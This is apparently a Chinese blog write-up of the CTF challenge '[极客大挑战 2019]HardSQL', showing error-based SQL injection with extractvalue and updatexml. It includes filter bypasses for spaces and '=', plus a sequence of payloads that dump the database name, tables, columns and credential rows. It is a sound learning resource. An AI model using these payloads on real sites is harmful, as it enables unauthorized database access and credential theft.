报错注入extractvalue..之[极客大挑战 2019]HardSQL1

首先总结知识点:

报错注入模板:

extractvalue(0x7e,concat(0x7e,(select database()))

updatexml(0x7e,(concat(0x7e,(select database())),0x7e)

这里过滤了空格和等号,当然还有其他的一些字符串;

0."="过滤绕过,用like代替“=”

1.空格绕过

需要用()绕过,就是除了操作字符比如select ,from where like,的库表段名用括号括起来

2.直接在123'extrcatvalue是不行的,需要使用or,或者^,

使用or 原本语句是or extractvalue……但空格需要()则是'or(extractvalue....)%23

使用^的话直接'^extractvalue(1,concat(查询语句),1)%23

3.left(),right()显现出其他内容

最后爆出字段的地方,只爆出了一部分;使用right(字段,大小)爆出;

完整payload:无空格绕过:

爆库名:

1'^extractvalue(0x7e,concat(1,(select database()),0x7e))%23

爆表名:

1'^extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema like 'geek'),0x7e))%23

爆字段:

1'^extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name like 'H4rDsq1'),0x7e))%23

这里使用了group_concat()函数,作用是解决 :

爆内容:

1'^extractvalue(1,concat(1,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e))%23

但发现flag不完整:

使用right函数如下:

1'^extractvalue(1,concat(1,(select(right(group_concat(id,username,password),20))from(H4rDsq1)),0x7e))%23

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值